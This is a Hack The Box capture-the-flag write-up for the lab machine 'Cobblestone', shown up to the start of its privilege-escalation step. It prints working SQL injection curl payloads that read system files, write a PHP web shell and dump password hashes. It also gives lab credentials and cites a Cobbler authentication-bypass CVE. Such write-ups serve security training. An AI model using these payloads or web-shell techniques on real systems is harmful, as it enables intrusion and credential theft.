Hack The Box - Cobblestone Writeup
- Introduction
- Recon and enumeration
- Web enumeration
- Web SQL injection vulnerability
- Shell foothold
- Privilege escalation

Introduction
Cobblestone is an insane-level Linux lab machine in the Hack The Box platform.
Attack chain overview
vote.cobblestone.htb/suggest.php authenticated endpoint
|
| SQL injection
v
cobblestone.htb/skins/ writable directory
|
| PHP database enumeration payload
v
SSH foothold as cobble
|
| Cobbler XML-RPC CVE-2024-47533 authentication bypass
v
Cobbler daemon
|
| Rsync command injection via XML-RPC
v
Root shell
Recon and enumeration
Using Nmap to enumerate ports and services on the machine:
# Nmap 7.95 scan initiated Sat Aug 9 21:02:37 2025 as: /usr/lib/nmap/nmap --privileged -vv -sC -sV -T4 -oA cobblestone 10.129.152.37
Nmap scan report for 10.129.152.37
Host is up, received echo-reply ttl 63 (0.029s latency).
Scanned at 2025-08-09 21:02:37 CEST for 8s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4szy00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=
| 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://cobblestone.htb/
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 9 21:02:45 2025 -- 1 IP address (1 host up) scanned in 8.33 seconds
Results reveal only two ports open:
- OpenSSH server behind port 22
- Apache2 serving a webpage through HTTP on port 80.
Web enumeration
Apache2 serves a Minecraft-styled website:

Using Dirsearch to enumerate the directory structure of the default virtual host:
janne808@kali:/opt/hackthebox/cobblestone$ dirsearch -u http://cobblestone.htb -x 403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /opt/hackthebox/cobblestone/reports/http_cobblestone.htb/_26-08-19_17-06-18.txt
Target: http://cobblestone.htb/
[17:06:18] Starting:
[17:06:19] 301 - 315B - /js -> http://cobblestone.htb/js/
[17:06:29] 200 - 56B - /composer.json
[17:06:29] 200 - 14KB - /composer.lock
[17:06:30] 301 - 316B - /css -> http://cobblestone.htb/css/
[17:06:30] 301 - 315B - /db -> http://cobblestone.htb/db/
[17:06:30] 200 - 0B - /download.php
[17:06:33] 301 - 316B - /img -> http://cobblestone.htb/img/
[17:06:33] 301 - 323B - /javascript -> http://cobblestone.htb/javascript/
[17:06:34] 200 - 1KB - /login.php
[17:06:34] 302 - 0B - /logout.php -> login.php
[17:06:38] 200 - 0B - /register.php
[17:06:40] 302 - 81B - /skins.php -> login.php
[17:06:40] 301 - 318B - /skins -> http://cobblestone.htb/skins/
[17:06:41] 301 - 322B - /templates -> http://cobblestone.htb/templates/
[17:06:42] 200 - 0B - /vendor/composer/autoload_real.php
[17:06:42] 200 - 0B - /vendor/composer/autoload_files.php
[17:06:42] 200 - 0B - /vendor/composer/autoload_classmap.php
[17:06:42] 200 - 0B - /vendor/composer/ClassLoader.php
[17:06:42] 200 - 0B - /vendor/composer/autoload_namespaces.php
[17:06:42] 200 - 0B - /vendor/composer/autoload_static.php
[17:06:42] 200 - 1KB - /vendor/composer/LICENSE
[17:06:42] 200 - 0B - /vendor/composer/autoload_psr4.php
[17:06:42] 200 - 0B - /vendor/autoload.php
[17:06:42] 200 - 14KB - /vendor/composer/installed.json
Task Completed
/skins.php redirects to /login.php, further exploration reveals a login/register mechanism that ends up in a dashboard:

“Suggest Skin” tab opens a POST endpoint for uploading custom Minecraft character skins:

Further, enumerating virtual hosts with FFUF:
janne808@kali:/opt/hackthebox/cobblestone$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://cobblestone.htb/ -H 'Host: FUZZ.cobblestone.htb' -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cobblestone.htb/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.cobblestone.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
deploy [Status: 200, Size: 1745, Words: 121, Lines: 52, Duration: 28ms]
Inspecting the default virtual host index for links:
janne808@kali:/opt/hackthebox/cobblestone$ curl -s cobblestone.htb | grep '<a href="http://.*.cobblestone.htb"'
<a href="http://deploy.cobblestone.htb" class="item forums">
<a href="http://vote.cobblestone.htb" class="item vote">
Looking at the subdomains deploy.cobblestone.htb and vote.cobblestone.htb:


The vhost vote.cobblestone.htb looks interesting and merits a closer look for possible attack surface:
janne808@kali:/opt/hackthebox/cobblestone$ dirsearch -u http://vote.cobblestone.htb -x 403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /opt/hackthebox/cobblestone/reports/http_vote.cobblestone.htb/_26-08-19_17-09-30.txt
Target: http://vote.cobblestone.htb/
[17:09:30] Starting:
[17:09:33] 301 - 325B - /js -> http://vote.cobblestone.htb/js/
[17:09:41] 200 - 56B - /composer.json
[17:09:41] 200 - 14KB - /composer.lock
[17:09:42] 301 - 326B - /css -> http://vote.cobblestone.htb/css/
[17:09:42] 301 - 325B - /db -> http://vote.cobblestone.htb/db/
[17:09:44] 200 - 1KB - /favicon.ico
[17:09:45] 301 - 326B - /img -> http://vote.cobblestone.htb/img/
[17:09:46] 301 - 333B - /javascript -> http://vote.cobblestone.htb/javascript/
[17:09:47] 200 - 1KB - /login.php
[17:09:47] 302 - 0B - /logout.php -> login.php
[17:09:53] 200 - 0B - /register.php
[17:09:56] 301 - 332B - /templates -> http://vote.cobblestone.htb/templates/
[17:09:57] 200 - 0B - /vendor/autoload.php
[17:09:57] 200 - 0B - /vendor/composer/autoload_psr4.php
[17:09:57] 200 - 0B - /vendor/composer/autoload_namespaces.php
[17:09:57] 200 - 0B - /vendor/composer/autoload_classmap.php
[17:09:57] 200 - 0B - /vendor/composer/autoload_static.php
[17:09:57] 200 - 0B - /vendor/composer/autoload_files.php
[17:09:57] 200 - 0B - /vendor/composer/autoload_real.php
[17:09:57] 200 - 1KB - /vendor/composer/LICENSE
[17:09:57] 200 - 0B - /vendor/composer/ClassLoader.php
[17:09:57] 200 - 14KB - /vendor/composer/installed.json
Task Completed
Collecting the findings:
| Virtual host | Contents |
|---|---|
| cobblestone.htb | Default PHP landing page |
| deploy.cobblestone.htb | Page listing project developers and admins by name and expertise |
| vote.cobblestone.htb | PHP login page for the beta version of the ‘voting’ functionality |
From these the natural step is to focus on the one with the most attack surface: vote.cobblestone.htb vhost.
Web SQL injection vulnerability
Registering with /register.php reveals a dashboard:


Entering a URL with a classic SQL injection test results in a 500 error:

Further, after adding a SQL comment the request succeeds with a 200 code but without output from the SQL statement. This is an indication of a possible injection attack vector:

Confirming the 5-column injection (you can use well-known techniques such as ORDER BY scanning or incrementing columns of a UNION SELECT statement to establish this) with curl (note the ANSI-C quoting with $’’ to enable escaping single quotes): It is possible to read files with LOAD_FILE() with the following payload
url=test' UNION SELECT 1,1,1,1,LOAD_FILE('/etc/passwd')-- -
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT 1,1,1,1,LOAD_FILE(\'/etc/passwd\')-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->
<!DOCTYPE html>
<html>
<head>
<!-- Info meta tags, important for social media + SEO -->
<title>Cobblestone - Server Details</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta charset="utf-8">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/all.min.css">
<link rel="stylesheet" href="css/stylesheet.css">
</head>
<body>
<div class="container-fluid">
<div class="mt-4">
<div class="card mt-4">
<div class="card-header">
Suggestion #1 - 1
</div>
<div class="card-body">
<h6 class="card-subtitle mb-2 text-body-secondary">Approved: false</h6>
<p class="card-text">Owner-ID: 1 - Votes: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash
</p>
</div>
</div>
</div>
<a class="btn btn-light mt-4" href="index.php">back</a>
</div>
<script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/firefly.js" type="text/javascript"></script>
<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
Extracting information about the Apache2 config with the injection payload:
url=test' UNION SELECT 1,1,1,1,LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf')-- -
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT 1,1,1,1,LOAD_FILE(\'/etc/apache2/sites-enabled/000-default.conf\')-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->
<!DOCTYPE html>
<html>
<head>
<!-- Info meta tags, important for social media + SEO -->
<title>Cobblestone - Server Details</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta charset="utf-8">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/all.min.css">
<link rel="stylesheet" href="css/stylesheet.css">
</head>
<body>
<div class="container-fluid">
<div class="mt-4">
<div class="card mt-4">
<div class="card-header">
Suggestion #1 - 1
</div>
<div class="card-body">
<h6 class="card-subtitle mb-2 text-body-secondary">Approved: false</h6>
<p class="card-text">Owner-ID: 1 - Votes: <VirtualHost *:80>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^cobblestone.htb$
RewriteRule /.* http://cobblestone.htb/ [R]
ServerName 127.0.0.1
ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>
<VirtualHost *:80>
ServerName cobblestone.htb
ServerAdmin cobble@cobblestone.htb
DocumentRoot /var/www/html
<Directory /var/www/html>
AAHatName cobblestone
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
RewriteEngine On
RewriteCond %{HTTP_HOST} !^cobblestone.htb$
RewriteRule /.* http://cobblestone.htb/ [R]
Alias /cobbler /srv/www/cobbler
<Directory /srv/www/cobbler>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerName deploy.cobblestone.htb
ServerAdmin cobble@cobblestone.htb
DocumentRoot /var/www/deploy
RewriteEngine On
RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
RewriteRule /.* http://deploy.cobblestone.htb/ [R]
</VirtualHost>
<VirtualHost *:80>
ServerName vote.cobblestone.htb
ServerAdmin cobble@cobblestone.htb
DocumentRoot /var/www/vote
RewriteEngine On
RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
RewriteRule /.* http://vote.cobblestone.htb/ [R]
</VirtualHost>
</p>
</div>
</div>
</div>
<a class="btn btn-light mt-4" href="index.php">back</a>
</div>
<script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/firefly.js" type="text/javascript"></script>
<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
From here it’s possible to extract the website PHP code or further enumerate the server configuration.
Next step is to check if it’s possible to get code execution by writing a PHP shell with the SQL injection. It is reasonable to expect that the /var/www/html/skins/ directory is writable per the http://cobblestone.htb/skins.php functionality discovered in enumeration.
url=test' UNION SELECT '<?php echo "test";?>',NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/skins/test999.php'-- -'
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT \'<?php echo "test";?>\',NULL,NULL,NULL,NULL INTO OUTFILE \'/var/www/html/skins/test999.php\'-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->
<!DOCTYPE html>
<html>
<head>
<!-- Info meta tags, important for social media + SEO -->
<title>Cobblestone - Server Details</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta charset="utf-8">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/all.min.css">
<link rel="stylesheet" href="css/stylesheet.css">
</head>
<body>
<div class="container-fluid">
None <a class="btn btn-light mt-4" href="index.php">back</a>
</div>
<script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/firefly.js" type="text/javascript"></script>
<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
janne808@kali:/opt/hackthebox/cobblestone$ curl http://cobblestone.htb/skins/test999.php
test \N \N \N \N
So, it is possible to run PHP code and gain RCE:
url=test' UNION SELECT '<?php $cmd = ($_GET["cmd"]); system($cmd); die; ?>',NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/skins/shell.php'-- -
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT \'\<\?php \$cmd = \(\$_GET\[\"cmd\"\]\)\; system\(\$cmd\)\; die\; \?\>\',NULL,NULL,NULL,NULL INTO OUTFILE \'/var/www/html/skins/shell.php\'-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->
<!DOCTYPE html>
<html>
<head>
<!-- Info meta tags, important for social media + SEO -->
<title>Cobblestone - Server Details</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta charset="utf-8">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/all.min.css">
<link rel="stylesheet" href="css/stylesheet.css">
</head>
<body>
<div class="container-fluid">
None <a class="btn btn-light mt-4" href="index.php">back</a>
</div>
<script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/firefly.js" type="text/javascript"></script>
<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=whoami'
www-data
Shell foothold
Next step is gaining a proper shell foothold on the system.
Discovering the cobblestone.htb/skins.php SQL database credentials from the PHP code:
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=ls+-al+../'
total 116
drwxr-xr-x 10 root root 4096 Aug 10 2025 .
drwxr-xr-x 5 root root 4096 Aug 19 12:05 ..
-rw-r--r-- 1 root root 56 Sep 27 2024 composer.json
-rw-r--r-- 1 root root 13867 Sep 27 2024 composer.lock
drwxr-xr-x 2 root root 4096 Apr 23 2025 css
drwxr-xr-x 2 root root 4096 Oct 1 2024 db
-rw-r--r-- 1 root root 611 Sep 30 2024 download.php
drwxr-xr-x 2 root root 4096 Oct 1 2024 img
-rw-r--r-- 1 root root 1942 Oct 1 2024 index.php
drwxr-xr-x 2 root root 4096 Oct 1 2024 js
-rw-r--r-- 1 root root 6269 Apr 24 2025 login.php
-rw-r--r-- 1 root root 1268 Apr 23 2025 login_verify.php
-rw-r--r-- 1 root root 101 Sep 27 2024 logout.php
-rw-r--r-- 1 root root 493 Apr 24 2025 preview_banner.php
-rw-r--r-- 1 root root 2062 Apr 28 2025 register.php
drwxr-xrwx 2 root root 4096 Aug 19 12:06 skins
-rw-r--r-- 1 root root 7445 Apr 28 2025 skins.php
-rw-r--r-- 1 root root 255 Apr 28 2025 skins_app_admin_server_info.php
-rw-r--r-- 1 root root 1056 Apr 24 2025 suggest_skin.php
drwxr-xr-x 2 root root 4096 Apr 28 2025 templates
-rw-r--r-- 1 root root 3202 Aug 10 2025 upload.php
-rw-r--r-- 1 root root 3267 Apr 28 2025 user.php
drwxr-xr-x 5 root root 4096 Sep 27 2024 vendor
drwxr-xr-x 2 root root 4096 Sep 27 2024 webfonts
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=ls+-al+../db/'
total 12
drwxr-xr-x 2 root root 4096 Oct 1 2024 .
drwxr-xr-x 10 root root 4096 Aug 10 2025 ..
-rw-r--r-- 1 root root 303 Oct 1 2024 connection.php
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=cat+../db/connection.php'
<?php
$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";
$conn = new mysqli($dbserver, $username, $password, $dbname);
// Check connection
if ($conn->connect_errno > 0) {
die("Connection failed: " . $conn->connect_error);
}
?>
The web shell seems to be restricted, for example it is not possible to list /etc/ directory for enumeration. It is also not possible to upgrade the web shell into a reverse shell for some strange reason.
AppArmor access control
Looking back at the Apache2 site config:
...
<VirtualHost *:80>
ServerName cobblestone.htb
ServerAdmin cobble@cobblestone.htb
DocumentRoot /var/www/html
<Directory /var/www/html>
AAHatName cobblestone
</Directory>
...
The reason for these strange restrictions is revealed to be the AAHatName cobblestone directive in the cobblestone.htb VirtualHost block: The configuration is applying a AppArmor hat subprofile for the /var/www/html directory using the mod_apparmor module (see https://apparmor.net/man/master/mod_apparmor/).
Notably, no other VirtualHost block has the AppArmor subprofile applied. This means it’s probably possible to write a PHP webshell under these blocks’ DocumentRoot directories, if they are indeed writable by the database process.
The path taken in the writeup however manages to work within the access control limitations by accessing SQL data directly with PHP code.
PHP database enumeration payload
There is limited space in the SQL injection but it is possible to run a tight PHP code payload to enumerate the database by re-using the site code with an include to establish the database connection:
<?php include("../db/connection.php");$r=$conn->query("SELECT username,password FROM users"); while($a=$r->fetch_array()){var_dump($a);};?>
Running the injection and writing the payload under /var/www/html/skins/ directory as dbenum.php:
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT \'\<\?php include(\"..\/db\/connection.php\")\;\$r=\$conn-\>query(\"SELECT username,password FROM users\")\; while(\$a=\$r\-\>fetch_array())\{var_dump(\$a)\;\}\;\?\>\',NULL,NULL,NULL,NULL INTO OUTFILE \'/var/www/html/skins/dbenum.php\'-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->
<!DOCTYPE html>
<html>
<head>
<!-- Info meta tags, important for social media + SEO -->
<title>Cobblestone - Server Details</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta charset="utf-8">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/all.min.css">
<link rel="stylesheet" href="css/stylesheet.css">
</head>
<body>
<div class="container-fluid">
None <a class="btn btn-light mt-4" href="index.php">back</a>
</div>
<script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/firefly.js" type="text/javascript"></script>
<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/dbenum.php'
array(4) {
[0]=>
string(5) "admin"
["username"]=>
string(5) "admin"
[1]=>
string(64) "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1"
["password"]=>
string(64) "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1"
}
array(4) {
[0]=>
string(6) "cobble"
["username"]=>
string(6) "cobble"
[1]=>
string(64) "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d"
["password"]=>
string(64) "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d"
}
array(4) {
[0]=>
string(4) "test"
["username"]=>
string(4) "test"
[1]=>
string(64) "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
["password"]=>
string(64) "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
}
\N \N \N \N
Using for example http://crackstation.net to crack the SHA256 hashes reveals the credentials cobble:iluvdannymorethanyouknow, which turns out to be re-used for SSH:
janne808@kali:/opt/hackthebox/cobblestone$ ssh cobble@cobblestone.htb
cobble@cobblestone.htb's password:
Linux cobblestone 6.1.0-47-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.170-3 (2026-05-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/home/cobble/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
cobble@cobblestone:~$ ls -al
total 32
drwx------ 3 cobble cobble 4096 Jul 24 2025 .
drwxr-xr-x 3 root root 4096 Jul 24 2025 ..
-rwx------ 1 root root 1 Oct 1 2024 .bash_history
-rwx------ 1 cobble cobble 220 Oct 1 2024 .bash_logout
-rwx------ 1 cobble cobble 3526 Oct 1 2024 .bashrc
-rwx------ 1 cobble cobble 807 Oct 1 2024 .profile
drwx------ 2 cobble cobble 4096 Jul 24 2025 .ssh
-rw-r----- 2 root cobble 33 Aug 19 13:49 user.txt
Privilege escalation
Unfortunately user cobble is configured to run rbash, a shell that can be configured to restrict the access user has on the system as it is in this case.
It is however possible to enumerate running processes and listening ports:
cobble@cobblestone:~$ ps auxww | grep root
root 1 0.6 0.3 102424 12496 ? Ss 13:49 1:36 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:49 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:49 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:49 0:00 [rcu_par_gp]
...
root 464 0.0 0.2 52376 10836 ? Ss 13:49 0:00 /usr/bin/VGAuthService
root 468 0.0 0.3 242092 12028 ? Ssl 13:49 0:13 /usr/bin/vmtoolsd
root 642 0.1 0.1 90052 5716 ? R<sl 13:49 0:20 /sbin/auditd
root 744 0.0 0.0 0 0 ? S 13:49 0:00 [audit_prune_tree]
root 794 0.0 0.0 5872 3544 ? Ss 13:49 0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 835 0.0 0.0 6612 2700 ? Ss 13:49 0:00 /usr/sbin/cron -f
root 842 0.0 0.1 17020 7836 ? Ss 13:49 0:05 /lib/systemd/systemd-logind
root 868 0.0 0.1 16544 5828 ? Ss 13:49 0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root 991 0.0 1.7 145084 69488 ? Ss 13:49 0:03 /usr/bin/python3 /usr/local/bin/cobblerd -F
root 993 0.0 0.9 271744 38168 ? Ss 13:49 0:01 php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
root 1006 0.0 0.0 5876 1004 ? Ss+ 13:49 0:00 /sbin/agetty -o -p -- \u --noclear - linux
root 1030 0.0 0.0 4664 280 ? Ss 13:49 0:00 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp
root 1113 0.0 1.0 282072 40128 ? Ss 13:49 0:02 /usr/sbin/apache2 -k start
...
cobble@cobblestone:~$ ss -tlpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 5 127.0.0.1:25151 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
The Python3 process /usr/local/bin/cobblerd sticks out as does the port 25151, a good guess would be to assume these things are connected and cobblerd daemon is listening on port 25151.
The process cobblerd is Cobbler (https://cobbler.github.io), a remote Linux installation server. The port 25151 is Cobbler’s XML-RPC interface.
Searching for vulnerabilities in Cobbler reveals CVE-2024-47533 (see https://github.com/advisories/GHSA-m26c-fcgh-cp6h) which can be used to bypass the proper login password with the signed integer -1.
Using SSH to establish a reverse port forwarding for port 25151 which then opens the possibility to probe the port for Cobbler’s XML-RPC functionality and confirm the vulnerability:
janne808@kali:/opt/hackthebox/cobblestone$ ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb
cobble@cobblestone.htb's password:
Linux cobblestone 6.1.0-47-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.170-3 (2026-05-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
